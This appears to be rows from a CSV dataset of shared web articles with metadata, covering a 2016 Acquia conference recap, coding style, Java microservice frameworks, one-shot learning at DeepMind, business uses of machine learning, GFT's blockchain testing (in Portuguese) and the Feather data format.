1478196163,CONTENT SHARED,-9056114023474725450,3891637997717104548,-5518716332871437149,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://www.acquia.com/blog/acquia-engage-2016-day-one/03/11/2016/3299071,Acquia Engage 2016: Day One,"Acquia Engage is back for 2016 and the first day did not disappoint. The conference opened up with a warm welcome from CMO Loren Jarrett, followed by CEO Tom Erickson and CTO Dries Buytaert giving their traditional ""State of Acquia"" address. Dries and Tom's presentation centered around the five pillars that have shaped Acquia's product strategy over the past year: open source, open APIs, cloud, security and governance . Acquia's fearless leaders also shared stories of customer success including the digital transformations of MTA , Nestle and NASDAQ . IBM and WPP Day one's General Session continued with a presentation from IBM's VP of Content and Marketing Platform's Rudy Chang, who discussed the company's digital transformation. IBM has found that in order to launch products successfully and achieve full adoption of new technology, they need to take what Chang calls the ""Velvet Glove and Sledgehammer"" approach. This approach favors early iterative development instead of top down mandates and has proven successful for IBM. Next up was an interesting overview of how technology is changing the world via our partners at WPP. Presenters included Martin Coady of VML, Bret Otzenberger of Mirum, Laurent Burman of POSSIBLE, Gabriel Stern of Wunderman, Jorge Teyssandier of Globant and Jessica Criscione, of Ogilvy. The panel was moderated by WPP's own Annie Miller and focused on artificial intelligence, virtual reality, machine learning and creating natural interfaces. MRM / McCann, NASDAQ and Mother of All Demos II Laura Simpson , Global Director of McCann Truth Central, had some really interesting insights in her presentation The Truth About Youth . Laura has been studying how how millennials create and interact with content. Some of the key takeaways included that ""adult"" is now a verb, over editing photos and using hashtags is ""uncool"" and that content is now expected to be both instant and frictionless. Then the program shifted from youth culture to financial services as Brad Peterson , Executive Vice President and CIO of NASDAQ took the stage. Peterson lead us through the evolution of NASDAQ and their recent move to Drupal 8 as the platform for their 3000+ investor relation websites. Finally, it was time for the sequel to last year's most anticipated event: The Mother of All Demos! Chief Products Officer Chris Stone and his team of engineers took the stage to talk about recently released Acquia products and to walk us through live demos as well as what's coming in the future. Chris was also joined on stage by Magento CEO Mark Lavelle. Yesterday, Acquia announced its commerce partnership with Magento . Track Sessions Yesterday's track sessions offered a robust mix of Tech Talks, Politics of Digital and even the chance to steal some of Acquia's customers' best ideas. Acquia's Preston So and Jacob Suchy teamed up for a Tech Talk to discuss how decoupled Drupal can power your entire digital ecosystem. Brian Carty shared how Steward Health reinvented their website to put the patient first in the Politics of Digital track. Emmis Radio's Jeff Tracker and Tat Wza discussed with Acquia's own Chuck Fishman how they leveraged the power of digital to redefined what it means to broadcast radio. Acquia Engage Award Winners Congrats to all of the winners of the Acquia Engage Awards that were announced yesterday! Stay tuned for more winners that will be announced tomorrow. Day one wrapped up with The Blue Drop Lounge party in the ballroom that was equal parts epic and swanky. Guests enjoyed the photobooth and gaming tables while The Mod Society got everyone moving... except for the folks who were glued to the TV to watch one of the most legendary World Series' ever between the Chicago Cubs and the Cleveland Indians. Congratulations to the Cubs on their historic win! We know something about that here in Boston. We'll be back tomorrow with a recap of day 2. For live coverage, please follow us on Twitter or #AcquiaEngage.",en
1478201280,CONTENT SHARED,2106559900295325351,3829784524040647339,-4992934825056158280,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,https://medium.com/@bartobri/applying-the-linus-tarvolds-good-taste-coding-requirement-99749f37684a,"Applying the Linus Torvalds ""Good Taste"" Coding Requirement","To the best of my ability to discern, the crux of the ""good taste"" requirement is the elimination of edge cases, which tend to reveal themselves as conditional statements. The fewer conditions you test for, the better your code "" tastes"" . Here is one particular example of an improvement I made that I wanted to share. Initializing Grid Edges Below is an algorithm I wrote to initialize the points along the edge of a grid, which is represented as a multidimensional array: grid[rows][cols] . Again, the purpose of this code was to only initialize the values of the points that reside on the edge of the grid - so only the top row, bottom row, left column, and right column. To accomplish this I initially looped over every point in the grid and used conditionals to test for the edges. This is what it looked like: Even though it works, in hindsight, there are some issues with this construct. Complexity  - The use 4 conditional statements inside 2 embedded loops seems overly complex. Efficiency  - Given that GRID_SIZE has a value of 64, this loop performs 4096 iterations in order to set values for only the 256 edge points. Linus would probably agree, this is not very tasty . So I did some tinkering with it. After a little bit I was able to reduce the complexity to only a single for - loop containing four conditionals. It was only a slight improvement in complexity, but a large improvement in performance, because it only performed 256 loop iterations, one for each point along the edge. An improvement, yes. But it looked really ugly. It's not exactly code that is easy to follow. Based on that alone, I wasn't satisfied. I continued to tinker. Could this really be improved further? In fact, the answer was YES . And what I eventually came up with was so astoundingly simple and elegant that I honestly couldn't believe it took me this long to find it. Below is the final version of the code. It has one for-loop and no conditionals . Moreover, the loop only performs 64 iterations. It vastly improves both complexity and efficiency. This code initializes four different edge points for each loop iteration. It's not complex. It's highly efficient. It's easy to read. Compared to the original version, and even the second version, they are like night and day. I was quite satisfied.",en
1478257635,CONTENT SHARED,6947862790919978120,6967147874415599925,-1432512362633174502,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,http://blog.takipi.com/java-microservices-the-cake-is-a-lie-but-you-cant-ignore-it/,Java Microservices: The Cake is a Lie but You Can't Ignore It | Takipi Blog,"What does building a microservice actually means? Answered through the eyes of microservice frameworks It's becoming impossible to ignore the microservices trend. Some would say it's just another unbearable buzzword, while others would recite the advantages of breaking down a monolith or take the contrarian approach and focus the negative aspects. In this post, we'll take a down to earth view at the frameworks we have at our disposal, focusing on the Java ecosystem, to actually implement microservices and see what they're all about. Let's dive in. New Post: Java Microservices - The Cake Is a Lie but You Can't Ignore It pic.twitter.com/iSFTf7Y4aJ - OverOps (@overopshq) October 27, 2016 The Cake is a Lie First question that pops to mind is, do we really need a specialized framework to build microservices with? The answer is no. Can you build a monolith with a microservice framework? Yes. So if it's really up to you and what you do with it, what are the benefits of a microservice framework over Java EE or Spring? What would make it worth adopting? Do they address both inner architecture and outer, ops-y, architecture? In the next few sections we'll take a closer look at Java EE and its new microprofile initiative, Spring and Spring Boot, the Lightbend stack with Lagom, and other open source solutions like Spotify's Apollo. Before we move forward, it's worth mentioning that there isn't really a clear definition of what is a microservice architecture. Martin Fowler, ThoughtWorks' Chief Scientist, tried to define it in his first article covering microservices : ""The microservice architectural style is an approach to developing a single application as a suite of small services, each running in its own process and communicating with lightweight mechanisms, often an HTTP resource API. These services are built around business capabilities and independently deployable by fully automated deployment machinery"". This post is not about the pros and cons of microservices, and assumes that you're simply interested in the underlying technology to support it. Another post worth checking out for those issues covers the main challenges in debugging microservices - which is a common pitfall that many don't think of when considering microservice architectures. Let's kick off and examine the following technologies / platforms / frameworks one by one. 1. Java Enterprise Edition The classic Java EE approach for building applications is geared towards monoliths which over time tend to grow into... spaghetti code monsters. Traditionally, an enterprise application would be packaged into a single EAR (Enterprise Archive) deployment unit which includes WAR (Web Archive) files, and JARs (Java Archive). Yet, ""Vanilla"" Java EE could be used for a microservice architecture as well. For a deep dive example of the steps in refactoring a Java EE monolith to a microservice architecture, check out this post from Arun Gupta where he goes over the required steps in this process through an example application of a shopping cart. Even though there was a slowdown in the development of Java EE 8 , the ""unofficial"" community behind is alive and kicking. A new initiative around optimizing enterprise Java for a microservices architecture comes from folks behind the Java EE Microprofile . You can join the discussion right here . Another interesting project to look at when thinking about Java EE microservices is Kumuluz . A framework that leverages your existing Java EE knowledge and provides you with a painless way to handpick the components that you need for your application - without wasting too much time on configurations. Bottom line: Java EE and the projects around it are perfectly fit for microservices, but don't address the ops aspect and leave its use and best practices for your personal interpretation. 2. Lightbend: Play, Akka, ConductR and Lagom Lightbend (formerly Typesafe) provides us with some more options. Similarly to the Kumuluz advantage over plain Java EE, Lagom wraps around the Lightbend stack with Play, Akka and ConductR under its hood and provides an easier way to build microservices. Its underlying components also include Cassandra, Guice, Jackson, slf4j, Logback, and additional Lightbend components. Lagom (""just the right amount"" in Swedish) is still in its early days, but it looks like a promising direction for the Lightbend stack. In an interview with InfoQ , Jonas Boner, Lightbend's CTO, said ""Most microservices frameworks out there focus on making it easy to build individual microservices - which is the easy part. Lagom extends that to systems of microservices, large systems - which is the hard part, since here we are faced with the complexity of distributed systems"". Bottom line: Lagom wraps Lightbend's capabilites in one framework, together with ops capabilities that ConductR provides. Focusing not only on the single microservice, but on the system as a whole. 3.Spring, Spring Boot and Spring Cloud While Spring and Spring Boot don't call themselves microservice frameworks, and the Spring site doesn't mention microservices on its front page, it doesn't mean they're out of the loop. Almost seems as if they're deliberately not calling it microservices to stay away from the buzzword hype. Together with Spring Cloud , the Spring Stack is utilizing Netflix Eureka and Ribbon to support the development of distributed systems (a term which often just overlaps with ""microservices""). These capabilities include configuration management, service discovery, intelligent routing, control bus, leadership election, distributed sessions, and more. For a deep dive on how to build microservices with Spring, and several additional Netflix and other open source projects, check out this post from InfoQ . Bottom line: Spring is well positioned for the development of microservices, together with an offering around external open source projects that address the ops angle. 4. Dropwizard Similarly to Spring, Dropwizard doesn't talk much about microservices as well. It's a Java framework for developing ops-friendly, high-performance, RESTful web services. An opinionated collection of Java libraries that make building production ready Java applications much easier. Dropwizard Modules allow hooking up additional projects that don't come with Dropwizards' core, and there are also modules developed by the community to hook up projects like Netflix Eureka, comparable to Spring Cloud. We've also previously done a head to head comparison between Dropwizard and Spring Boot , examining their features against each other. Bottom line: Since Dropwizard is a community project that isn't backed by a major company like Spring and Pivotal, Java EE and Oracle, Lagom and Lightbend, its development might be slower, but there's a strong community behind it and it's a go to framework for large companies as well as smaller projects. 5. Spotify Apollo, VertX and other ""Microframeworks"" Apart from the 4 big players we've mentioned here, there's a plethora of other projects that are worth mentioning and can also be used for writing microservices: Vertx , a tool-kit for building reactive applications on the JVM. Some might argue it should have a spot at the big 4. Spotify Apollo , a set of Java libraries that is used at Spotify when writing Java microservices. Apollo includes features such as an HTTP server and a URI routing system, making it trivial to implement RESTful services. Additional frameworks include Spark, Ninja and Jodd, Restlet , and Bootique.io . Bottom line: The Java microservices playing field is quite big, and it's worth to check out the smaller players as well. 6. Microservice Prerequisites As Martin Fowler said in his microservices prerequisites post , ""It's important to ensure you can react quickly when your monitoring indicates a problem. In particular any incident management needs to involve the development team and operations, both in fixing the immediate problem and the root-cause analysis to ensure the underlying problems are fixed"". Similarly, this thread and post on Hackernews share more issues that might arise if you're not ready for a microservice architecture. At OverOps , we're building a tool that solves this exact pain and shows when, where and why code breaks in production. It's the only tool that shows you the complete source code and variable state across the entire call stack for every exception, logged warning and error. Check it out . Bottom line: Microservices come with a cost, and aren't a good fit for every system. If you're choosing a microservice architecture, you should be aware of the costs and identify the processes you should improve before diving in deeper. Final Thoughts It doesn't matter which framework or platform you're using, building microservices isn't tightly coupled with any of them. It's a mindset and an architectural approach, and you should probably choose which ever option you feel you'd be more productive with. With that said, successfully implementing a microservice architecture doesn't stop at the application itself. Much of the cost around it comes from so called DevOps processes, monitoring, CI/CD, logging changes, server provisioning, and more. We'll cover these aspects on the blog in the future and would be happy to hear your thoughts about it and feature them on our next posts. Feel free to get in touch through hello@overops.com and @overopshq . Did we miss out on your favorite framework? Have any interesting stories to share about implementing microservices through any of the options we've mentioned here? Please share your insights in the comments section below",en
1478262126,CONTENT SHARED,-3751249597609107201,-1443636648652872475,8174083670920445080,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://www.technologyreview.com/s/602779/machines-can-now-recognize-something-after-seeing-it-once/,Google DeepMind researchers built a deep-learning system capable of learning from very little data.,"Most of us can recognize an object after seeing it once or twice. But the algorithms that power computer vision and voice recognition need thousands of examples to become familiar with each new image or word. Researchers at Google DeepMind now have a way around this. They made a few clever tweaks to a deep-learning algorithm that allows it to recognize objects in images and other things from a single example-something known as ""one-shot learning."" The team demonstrated the trick on a large database of tagged images, as well as on handwriting and language. The best algorithms can recognize things reliably, but their need for data makes building them time-consuming and expensive. An algorithm trained to spot cars on the road, for instance, needs to ingest many thousands of examples to work reliably in a driverless car. Gathering so much data is often impractical-a robot that needs to navigate an unfamiliar home, for instance, can't spend countless hours wandering around learning. Oriol Vinyals , a research scientist at Google DeepMind, a U.K.-based subsidiary of Alphabet that's focused on artificial intelligence, added a memory component to a deep-learning system-a type of large neural network that's trained to recognize things by adjusting the sensitivity of many layers of interconnected components roughly analogous to the neurons in a brain. Such systems need to see lots of images to fine-tune the connections between these virtual neurons. The team demonstrated the capabilities of the system on a database of labeled photographs called ImageNet . The software still needs to analyze several hundred categories of images, but after that it can learn to recognize new objects-say, a dog-from just one picture. It effectively learns to recognize the characteristics in images that make them unique. The algorithm was able to recognize images of dogs with an accuracy close to that of a conventional data-hungry system after seeing just one example. Vinyals says the work could be especially useful if it could quickly recognize the meaning of a new word. This could be important for Google, Vinyals says, since it could allow a system to quickly learn the meaning of a new search term. Others have developed one-shot learning systems, but these are usually not compatible with deep-learning systems. An academic project last year used probabilistic programming techniques to enable this kind of very efficient learning (see "" This Algorithm Learns Tasks As Fast As We Do ""). But deep-learning systems are becoming more capable, especially with the addition of memory mechanisms. Another group at Google DeepMind recently developed a network with a flexible kind of memory, making it capable of performing simple reasoning tasks-for example, learning how to navigate a subway system after analyzing several much simpler network diagrams (see "" What Happens When You Give a Computer a Working Memory? ""). ""I think this is a very interesting approach, providing a novel way of doing one-shot learning on such large-scale data sets,"" says Sang Wan Lee , who leads the Laboratory for Brain and Machine Intelligence at the Korean Advanced Institute for Science and Technology in Daejeon, South Korea. ""This is a technical contribution to the AI community, which is something that computer vision researchers might fully appreciate."" Others are more skeptical about its usefulness, given how different it still is from human learning. For one thing, says Sam Gershman , an assistant professor in Harvard's Department for Brain Science, humans generally learn by understanding the components that make up an image, which may require some real-world, or commonsense, knowledge. For example, ""a Segway might look very different from a bicycle or motorcycle, but it can be composed from the same parts."" According to both Gershman and Wan Lee, it will be some time yet before machines match human learning. ""We still remain far from revealing humans' secret of performing one-shot learning,"" Wan Lee says, ""but this proposal clearly poses new challenges that merit further study.""",en
1478262379,CONTENT SHARED,2399228553079505025,-1443636648652872475,8174083670920445080,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://hbr.org/2016/11/the-competitive-landscape-for-machine-intelligence,The Competitive Landscape for Machine Intelligence,"Three years ago, our venture capital firm began studying startups in artificial intelligence. AI felt misunderstood, burdened by expectations from science fiction, and so for the last two years we've tried to capture the most-important startups in the space in a one-page landscape. (We prefer the more neutral term ""machine intelligence"" over ""AI."") In past years, we heard mostly from startup founders and academics - people who pay attention to early, far-reaching trends in technology. But this year was different. This year we've heard more from Fortune 500 executives with questions about machine intelligence than from startup founders. These executives are asking themselves what to do. Over the past year, machine intelligence has exploded, with $5 billion in venture investment, a few big acquisitions, and hundreds of thousands of people reading our earlier research. As with the internet in the 1990s, executives are realizing that this new technology could change everything, but nobody knows exactly how or when. If this year's landscape shows anything, it's that the impact of machine intelligence is already here. Almost every industry is already being affected, from agriculture to transportation. Every employee can use machine intelligence to become more productive with tools that exist today. Companies have at their disposal, for the first time, the full set of building blocks to begin embedding machine intelligence in their businesses. And unlike with the internet, where latecomers often bested those who were first to market, the companies that get started immediately with machine intelligence could enjoy a lasting advantage. So what should the Fortune 500 and other companies be doing to get started? Make Talent More Productive One way to immediately begin getting the value of machine intelligence is to support your talent with readily available machine intelligence productivity tools. Some of the earliest wins have been productivity tools tuned to specific areas of knowledge work - what we call ""Enterprise Functions"" in our landscape.With these tools, every employee can get some of the powers previously available only to CEOs . These tools can aid with monitoring and predicting (e.g., companies like Clari forecasting client-by-client sales to help prioritize deals) and with coaching and training (Textio's* predictive text-editing platform to help employees write more-effective documents). Find Entirely New Sources of Data The next step is to use machine intelligence to realize value from new sources of data, which we highlight in the ""Enterprise Intelligence"" section of the landscape. These new sources are now accessible because machine intelligence software can rapidly review enormous amounts of data in a way that would have been too difficult and expensive for people to do. Imagine if you could afford to have someone listen to every audio recording of your salespeople and predict their performance , or have a team look at every satellite image taken from space and determine what macroeconomic indicators could be gleaned from them. These data sources might already be owned by your company (e.g., transcripts of customer service conversations or sensor data predicting outages and required maintenance ), or they might be newly available in the outside world (data on the open web providing competitive information ). Rethink How You Build Software Let's say you've tried some new productivity tools and started to mine new sources of data for insight. The next frontier in capturing machine intelligence's value is building a lasting competitive advantage based on this new kind of software. But machine intelligence is not just about better software; it requires entirely new processes and a different mindset. Machine intelligence is a new discipline for managers to learn, one that demands a new class of software talent and a new organizational structure. Most IT groups think in terms of applications and data. New machine intelligence IT groups will think about applications, data, and models. Think of software as the combination of code, data, and a model. ""Model"" here means business rules, like rules for approving loans or adjusting power consumption in data centers. In traditional software, programmers created these rules by hand. Today machine intelligence can use data and new algorithms to generate a model too complex for any human programmer to write. With traditional software, the model changes only when programmers explicitly rewrite it. With machine intelligence, companies can create models that evolve much more regularly, allowing you to build a lasting advantage that strengthens over time as the model ""learns."" Think of these models as narrowly focused employees with great memories and not-so-great social skills - idiot savants. They can predict how best to grow the business, make customers happier, or cut costs. But they'll often fail miserably if you try to apply them to something new, or, worse, they may degrade invisibly as your business and data change. All of this means that the discipline of creating machine intelligence software differs from traditional software, and companies need to staff accordingly. Luckily, though finding the right talent may be hard, the tools that developers need to build this software is readily available. For the first time, there is a maturing ""Stack"" (see our landscape) of building blocks that companies can use to practice the new discipline of machine intelligence. Many of these tools are available as free, open-source libraries from technology companies such as Google (TensorFlow), Microsoft (CNTK), or Amazon (DSSTNE). Others make it easier for data scientists to collaborate (see ""Data Science"") and manage machine intelligence models (""Machine Learning""). If your CEO is struggling to answer the question of how machine intelligence will change your industry, take a look at the range of markets in our landscape. The startups in these sections give a sense of how different industries may be altered. Machine intelligence's first useful applications in an industry tend to use data that previously had lain dormant. Health care is a prime example: We're seeing predictive models that run on patient data and computer vision that diagnoses disease from medical images and gleans lifesaving insights from genomic data. Next up will be finance, transportation, and agriculture because of the volume of data available and their sheer economic value. Your company will still need to decide how much to trust these models and how much power to grant them in making business decisions. In some cases the risk of an error will be too great to justify the speed and new capabilities. Your company will also need to decide how often and with how much oversight to revise your models. But the companies that decide to invest in the right models and successfully embed machine intelligence in their organization will improve by default as their models learn from experience. Economists have long wondered why the so-called computing revolution has failed to deliver productivity gains. Machine intelligence will finally realize computing's promise. The C-suites and boardrooms that recognize that fact first - and transform their ways of working accordingly - will outrun and outlast their competitors. *The authors' fund has invested in this company.",en
1478279910,CONTENT SHARED,-8068727428160395745,-8845298781299428018,5163201101607707012,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/03/19/how-real-businesses-are-using-machine-learning/,How real businesses are using machine learning,"There is no question that machine learning is at the top of the hype curve. And, of course, the backlash is already in full force: I've heard that old joke ""Machine learning is like teenage sex; everyone is talking about it, no one is actually doing it"" about 20 times in the past week alone. But from where I sit, running a company that enables a huge number of real-world machine-learning projects, it's clear that machine learning is already forcing massive changes in the way companies operate. It's not just futuristic-looking products like Siri and Amazon Echo . And it's not just being done by companies that we normally think of as having huge R&D budgets like Google and Microsoft. In reality, I would bet that nearly every Fortune 500 company is already running more efficiently - and making more money - because of machine learning. So where is it happening? Here are a few behind-the-scenes applications that make life better every day. Making user-generated content valuable The average piece of user-generated content (UGC) is awful. It's actually way worse than you think. It can be rife with misspellings, vulgarity or flat-out wrong information. But by identifying the best and worst UGC, machine-learning models can filter out the bad and bubble up the good without needing a real person to tag each piece of content. It's not just Google that needs smart search results. A similar thing happened a while back with spam emails. Remember how bad spam used to be? Machine learning helped identify spam and, basically, eradicate it. These days, it's far more uncommon to see spam in your inbox each morning. Expect that to happen with UGC in the near future. Pinterest uses machine learning to show you more interesting content . Yelp uses machine learning to sort through user-uploaded photos . NextDoor uses machine learning to sort through content on their message boards. Disqus uses machine learning to weed out spammy comments. Finding products faster It's no surprise that as a search company, Google was always at the forefront of hiring machine-learning researchers. In fact, Google recently put an artificial intelligence expert in charge of search . But the ability to index a huge database and pull up results that match a keyword has existed since the 1970s. What makes Google special is that it knows which matching result is the most relevant; the way that it knows is through machine learning. But it's not just Google that needs smart search results. Home Depot needs to show which bathtubs in its huge inventory will fit in someone's weird-shaped bathroom. Apple needs to show relevant apps in its app store. Intuit needs to surface a good help page when a user types in a certain tax form. Successful e-commerce startups from Lyst to Trunk Archive employ machine learning to show high-quality content to their users. Other startups, like Rich Relevance and Edgecase , employ machine-learning strategies to give their commerce customers the benefits of machine learning when their users are browsing for products. Engaging with customers You may have noticed ""contact us"" forms getting leaner in recent years. That's another place where machine learning has helped streamline business processes. Instead of having users self-select an issue and fill out endless form fields, machine learning can look at the substance of a request and route it to the right place. Big companies are investing in machine learning ... because they've seen positive ROI. That seems like a small thing, but ticket tagging and routing can be a massive expense for big businesses. Having a sales inquiry end up with the sales team or a complaint end up instantly in the customer service department's queue saves companies significant time and money, all while making sure issues get prioritized and solved as fast as possible. Understanding customer behavior Machine learning also excels at sentiment analysis. And while public opinion can sometimes seem squishy to non-marketing folks, it actually drives a lot of big decisions. For example, say a movie studio puts out a trailer for a summer blockbuster. They can monitor social chatter to see what's resonating with their target audience, then tweak their ads immediately to surface what people are actually responding to. That puts people in theaters. Another example: A game studio recently put out a new title in a popular video game line without a game mode that fans were expecting. When gamers took to social media to complain, the studio was able to monitor and understand the conversation. The company ended up changing their release schedule in order to add the feature, turning detractors into promoters. How did they pull faint signals out of millions of tweets? They used machine learning. And in the past few years, this kind of social media listening through machine learning has become standard operating procedure. What's next? Dealing with machine-learning algorithms is tricky. Normal algorithms are predictable, and we can look under the hood and see how they work. In some ways, machine-learning algorithms are more like people. As users, we want answers to questions like ""why did The New York Times show me that weird ad"" or ""why did Amazon recommend that funny book?"" In fact, The New York Times and Amazon don't really understand the specific results themselves any more than our brains know why we chose Thai food for dinner or got lost down a particular Wikipedia rabbit hole. If you were getting into the machine-learning field a decade ago, it was hard to find work outside of places like Google and Yahoo. Now, machine learning is everywhere. Data is more prevalent than ever, and it's easier to access. New products like Microsoft Azure ML and IBM Watson drive down both the setup cost and ongoing cost of state-of-the-art machine-learning algorithms. At the same time, VCs have started funds - from WorkDay's Machine Learning fund to Bloomberg Beta to the Data Collective - that are completely focused on funding companies across nearly every industry that use machine learning to build a sizeable advantage. Most of the conversation about machine learning in popular culture revolves around AI personal assistants and self-driving cars (both applications are very cool!), but nearly every website you interact with is using machine learning behind the scenes. Big companies are investing in machine learning not because it's a fad or because it makes them seem cutting edge. They invest because they've seen positive ROI. And that's why innovation will continue. Featured Image: a-image / Shutterstock",en
1478283027,CONTENT SHARED,-3513353119850106583,3609194402293569455,-294660855455040962,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2016/11/google-e-gft-firmam-parceria-para-testes-com-foco-em-blockchain/,Google e GFT firmam parceria para testes com foco em blockchain - Startupi,"A GFT, companhia de Tecnologia da Informação especializada em Digital para o setor financeiro, anuncia sua participação ao Programa de Parceiros do Google. Esta nova colaboração permite à companhia implementar sua infraestrutura de testes de ledger distribuído para os bancos no Google Cloud Platform, ajudando os clientes a simular modelos do mundo real para dentro de um ambiente de teste globalmente distribuído e escalável. Ledger distribuído é um ""livro de registro"", publicado em um registro descentralizado, no qual as informações financeiras podem ser armazenadas e transferidas e, ao fazê-lo, cria-se um registro imutável de dados de referência visível para todos. Este 'livro razão' eletrônico de atualização simultânea funciona como um registro para todas as partes interessadas, permitindo uma redução dramática no esforço e custo de transações financeiras. Por meio do Google Cloud Platform, a GFT consegue implementar rapidamente códigos que foram desenvolvidos pelas equipes de desenvolvimento de seus clientes na incubadora blockchain da companhia para simular cenários do mundo real. Com apenas um clique, o cenário de teste pode simular bancos entrando em operação em um ledger distribuído para então juntar e interpretar rapidamente os dados usando o Google BigQuery. Isto fornece aos clientes insights detalhados e específicos sobre como suas soluções blockchain irão operar no mundo real. Implementação rápida e feedback de dados, aprimorados com ferramentas como o Google Cloud Bigtable e BigQuery juntamente com as mais recentes soluções de DevOps como conteinerização e Kubernetes, suportam decisões ágeis e permitem que os times se concentrem em desenvolver os canais mais eficientes possíveis. Modelos de negócios disruptivos, apoiados por tecnologias de ledger distribuído permitem que os bancos negociem entre si diretamente, sem a necessidade de validação de um órgão central que atue como um fiador da operação financeira entre as partes. Isso traz um grande potencial para contornar muitas das questões centrais que têm dificultado o setor financeiro, tais como infraestrutura legada cara e complexa. No entanto, tais avanços devem ser testados de forma segura e em grande escala, antes que possam ser considerados como uma solução viável. O mais recente ambiente de teste foi para uma solução de pagamentos nacionais e internacionais ledger distribuída na plataforma Ethereum. Durante o teste, a GFT ajudou a instituição financeira a compreender como a sua plataforma dimensiona volumes de pagamentos realistas, além de fornecer informações valiosas sobre como a solução funciona. ""Estamos muito animados em poder apoiar nossos clientes a potencializar seus projetos de ledger distribuído, ajudando-os a tornar seus investimentos de inovação em realidade. Através da nossa parceria com o Google, somos capazes de compreender melhor as capacidades desta tecnologia e seu impacto sobre a arquitetura de serviços financeiros. A GFT está bem posicionada para ajudar os nossos clientes à medida que eles amadureçam seus modelos e soluções de negócios de ledger distribuído"", comenta Marco Santos, managing director Latam da GFT. Nick Weisfeld, head de blockchain e data practices da GFT, afirma que é importante trabalhar com um parceiro no qual exista uma relação que proporcione benefício mútuo. ""Trabalhar com o Google nos permitiu criar um ambiente de teste para um novo aplicativo do Royal Bank of Scotland, usando volumes realistas e fornecendo aos clientes informações valiosas, detalhadas em um novo estudo técnico sobre como sua solução opera. Esta capacidade de testar em escala permitiu a nosso cliente trazer a sua iniciativa de ledger distribuído para fora do laboratório e para dentro do mundo real em tempo recorde, criando uma solução líder de mercado"", finaliza Weisfeld.",pt
1478347861,CONTENT SHARED,-3351652027149912881,3829784524040647339,4598987288874105669,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.90 Safari/537.36",SP,BR,HTML,https://blog.rstudio.org/2016/03/29/feather/,"Feather: A Fast On-Disk Format for Data Frames for R and Python, powered by Apache Arrow","Wes McKinney, Software Engineer, Cloudera Hadley Wickham, Chief Scientist, RStudio This past January, we (Hadley and Wes) met and discussed some of the systems challenges facing the Python and R open source communities. In particular, we wanted to see if there were some opportunities to collaborate on tools for improving interoperability between Python, R, and external compute and storage systems. One thing that struck us was that while R's data frames and Python's pandas data frames utilize very different internal memory representations, they share a very similar semantic model. In both R and Panda's, data frames are lists of named, equal-length columns, which can be numeric, boolean, and date-and-time, categorical ( string. Every column can have missing values. Around this time, the open source community had just started the new Apache Arrow project, designed to improve data interoperability for systems dealing with columnar tabular data. In discussing Apache Arrow in the context of Python and R, we wanted to see if we could use the insights from feather to design a very fast file format for storing data frames that could be used by both languages. Thus, the Feather format was born. What is Feather? Feather is a fast, lightweight, and easy-to-use binary file format for storing data frames. It has a few specific design goals: Lightweight, minimal API: make pushing data frames in and out of memory as simple as possible Language agnostic: Feather files are the same whether written by Python or R code. Other languages can read and write Feather files, too. High read and write performance. When possible, Feather operations should be bound by local disk performance. Code examples The Feather API is designed to make reading and writing data frames as easy as possible. In R, the code might look like: Analogously, in Python, we have: How fast is Feather? Feather is extremely fast. Since Feather does not currently use any compression internally, it works best when used with solid-state drives as come with most of today's laptop computers. For this first release, we prioritized a simple implementation and are thus writing unmodified Arrow memory to disk. To give you an idea, here is a Python benchmark writing an approximately 800MB pandas DataFrame to disk: On Wes's laptop (latest-gen Intel processor with SSD), this takes: This is effective performance of over 600 MB/s. Of course, the performance you see will depend on your hardware configuration. And in R (on Hadley's laptop, which is very similar): How can I get Feather? The Feather source code is hosted at . Installing Feather for R Feather is currently available from github, and you can install with: Feather uses C++11, so if you're on windows, you'll need the new gcc 4.93 toolchain . (All going well this will be included in R 3.3.0, which is scheduled for release on April 14. We'll aim for a CRAN release soon after that). Installing Feather for Python For Python, you can install Feather from PyPI like so: We will look into providing more installation options, such as conda builds, in the future. Feather is not designed for long-term data storage. At this time, we do not guarantee that the file format will be stable between versions. Instead, use Feather for quickly exchanging data between Python and R code, or for short-term storage of data frames as part of some analysis. Feather, Apache Arrow, and the community One of the great parts of Feather is that the file format is language agnostic. Other languages, such as Julia or Scala (for Spark users), can read and write the format without knowledge of details of Python or R. Feather is one of the first projects to bring the tangible benefits of the Arrow spec to users in the form of an efficient, language-agnostic representation of tabular data on disk. Since Arrow does not provide for a file format, we are using Google's Flatbuffers library (github.com/google/flatbuffers) to serialize column types and related metadata in a language-independent way in the file. The Python interface uses Cython to expose Feather's C++11 core to users, while the R interface uses Rcpp for the same task.",en
